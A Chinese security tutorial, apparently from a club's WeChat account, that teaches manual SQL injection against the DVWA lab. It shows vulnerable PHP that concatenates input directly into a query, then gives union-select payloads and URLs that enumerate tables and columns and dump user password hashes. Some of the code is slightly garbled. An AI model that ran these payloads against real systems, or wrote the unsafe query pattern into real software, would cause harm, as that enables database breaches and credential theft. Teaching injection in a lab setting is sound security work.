生活不止眼前的苟且,还有诗和远方的田野,
你赤手空拳来到人世间,为找到那片海不顾一切。
——《生活不止眼前的苟且》
背景:最近很多小伙伴问一些SQL注入很基础的问题,所以就想写一篇基础文章进行科普。
-
什么是SQL注入?
-
SQL注入怎么产生的?
-
如何进行SQL注入?
什么是SQL注入?
结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。
SQL+注入,可以理解为数据库操作语句的注入,也可以说是构造SQL查询语句对数据库进行查询。
SQL注入是怎么产生的?
<?php
if
( isset(
$_REQUEST
[
'Submit'
] ) ) {
// 获取GET请求Submit参数的值,如果Submit参数的值不为空(isset判断),则进入if条件为true
$id
=
$_REQUEST
[
'id'
];
//获取GET请求id参数的值,没有过滤,没有过滤,没有过滤!
// Check database
$query
=
"SELECT first_name, last_name FROM users WHERE user_id = '$id';"
;
/*进行语句拼接,组合成SQL查询语句,如GET参数的值为1,则语句为:
*SELECT first_name, last_name FROM users WHERE user_id = '1';
*这里不得不提一句,有些小伙伴不明白什么是整数型注入(数字型)和字符型注入
*可以看到WHERE后面的user_id的值是有单引号的,在程序语言中,有引号一般是代表字符或字符串
*没有单引号则是整数型,如:
*SELECT first_name, last_name FROM users WHERE user_id = 1;*/
$result
= mysql_query(
$query
)
or
die
(
'<pre>'
. mysql_error() .
'</pre>'
);
//mysql_query函数进行MySQL语句查询,die() 函数输出MySQL查询错误的信息,并退出当前脚本。
' );
//获取返回结果集中行的数目
$num
= mysql_numrows(
$result
);
$i
= 0;
//如果$num的数值大于$i=0的值,则进行while循环
while
(
$i
&amp;amp;amp;lt;
$num
) {
// 获取查询结果
$first
= mysql_result(
$result
,
$i
,
"first_name"
);
$last
= mysql_result(
$result
,
$i
,
"last_name"
);
// Feedback for end user
$html
.=
"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"
;
";
// Increase loop count
$i
++;
}
//关闭数据库连接
mysql_close();
}
?>
看着这段代码的解释就可以了解SQL注入的产生了。有的小伙伴就说了,我访问网站的时候看不到源码啊。不急,且听我慢慢道来。
正常的访问连接:
http://www.whitecell-club.org/index.php?id=1&Submit=Submit
可以看到id参数的值是1,Submit参数的值是Submit。
我们的脚本获取这两个参数的值进行处理,因为Submit的值不为空,进入if循环,获取id的值拼接成MySQL查询语句:
SELECT first_name, last_name FROM users WHERE user_id = '1';
接下来就看如果进行SQL注入。
如何进行SQL注入?
该文章主要围绕php+mysql(版本5.0及以上)来讲。
1、判断是否注入。
2、判断显示字段。
3、查表名。
4、查字段名。
5、获取需要的信息(管理员用户名及密码)
1、判断是否注入。
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1&Submit=Submit#
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1%27&Submit=Submit#
这里的%27是单引号的URL编码。
页面提示已经够明显了。
http://www.whitecell-club.org/index.php?id=1 and 1=1&Submit=Submit
http://www.whitecell-club.org/index.php?id=1 and 1=2&Submit=Submit
http://www.whitecell-club.org/index.php?id=1' and '1'='1&Submit=Submit
http://www.whitecell-club.org/index.php?id=1' and '1'='2&Submit=Submit
查看页面报错信息,and 1=1、and 1=2、and '1'='1、and '1'='2返回的页面和正常页面是否有什么区别,一般报错注入都会有错误信息提示,盲注不在这篇文章的讨论范围。
看一看到1 and 1=1和1 and 1=2与正常页面的差别不大,可以排除整数型注入。
再看看1' and '1'='1和1' and '1'='2与正常的页面的差别,1' and '1'='1正常显示,1' and '1'='2没显示,可以判断这是字符型注入。
1' and '1'='1和1' and '1'='2为什么语句是这样子的呢,只有一半的单引号哦,悄悄地告诉你,这是为了闭合,为了闭合,为了闭合。
2、判断显示字段。
判断显示字段可以用order by和union select。
先看看order by如果判断显示字段:
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1' order by 10%23&Submit=Submit#
根据错误信息,可以知道没有10个字段。
根据错误信息,可以知道没有3个字段。
可以看出查询语句只有2个字段。
提问:为什么要判断字段呢?
因为我们要进行联合查询注入(union select)啊!
看一看到显示字段是1和2.
union select判断字段可以union select 1,2,3,4,5,6递增测试。
3、查表名。
提问:为什么是查表名而不是猜表名呢?
因为MySQL5.0及以上版本默认都有一个information_schema数据库,里面包含了所有数据库的表名以及字段哦,具体关于该数据库可以网上找一找哦。
通过MySQL数据库函数version()查看版本,database()查看当前数据库,user()查看当前用户,group_concat()函数拼接起来。
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1%27+union+select+group_concat%280x0a%2Cversion%28%29%2C0x0a%2Cdatabase%28%29%2C0x0a%2Cuser%28%29%29%2C2%23&Submit=Submit#
0x0a是换行符的十六进制编码。
版本:5.1.53-community-log
当前数据库:dvwa
当前用户:dvwauser@localhost
5.1.53-community-log,存在information_schema数据库
1' union select group_concat(0x0a,version(),0x0a,database(),0x0a,user()),2 from information_schema.tables where table_schema=database()#
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1%27+union+select+group_concat%280x0a%2Cversion%28%29%2C0x0a%2Cdatabase%28%29%2C0x0a%2Cuser%28%29%29%2C2+from+information_schema.tables+where+table_schema%3Ddatabase%28%29%23&Submit=Submit#
查表名:
1' union select group_concat(0x0a,table_name),2 from information_schema.tables where table_schema=database()#
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1%27+union+select+group_concat%280x0a%2Ctable_name%29%2C2+from+information_schema.tables+where+table_schema%3Ddatabase%28%29%23&Submit=Submit#
存在两个表,guestbook,users
4、查字段名。
不同于查表名用的information_schema.tables表和table_name字段,也有存放字段名的information_schema.columns表和column_name字段
1' union select group_concat(0x0a,column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1%27+union+select+group_concat%280x0a%2Ccolumn_name%29%2C2+from+information_schema.columns+where+table_schema%3Ddatabase%28%29+and+table_name%3D%27users%27%23&Submit=Submit#
存在字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
也可以把表名改为十六进制编码:1' union select group_concat(0x0a,column_name),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#结果一样。
5、获取需要的信息(管理员用户名及密码)
1' union select group_concat(distinct 0x0a,user_id,0x0a,first_name,0x0a,last_name,0x0a,user,0x0a,password,0x0a),2 from users#
http://www.whitecell-club.org/vulnerabilities/sqli/?id=1%27+union+select+group_concat%28distinct+0x0a%2Cuser_id%2C0x0a%2Cfirst_name%2C0x0a%2Clast_name%2C0x0a%2Cuser%2C0x0a%2Cpassword%2C0x0a%29%2C2+from+users%23&Submit=Submit#
拿到密码一般是MD5加密,要解密才可以用。
在渗透过程中,一般是获得管理员权限登录后台getshell。
本次科普到此结束,有问题可以在Q群咨询或论坛提问:
Q群:242410171
论坛:http://bbs.whitecell-club.org
版权声明:该科普文章属于WhiteCellClub原创,转载须申明!
本文始发于微信公众号(WhiteCellClub):手工注入基础-MySQL注入流程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论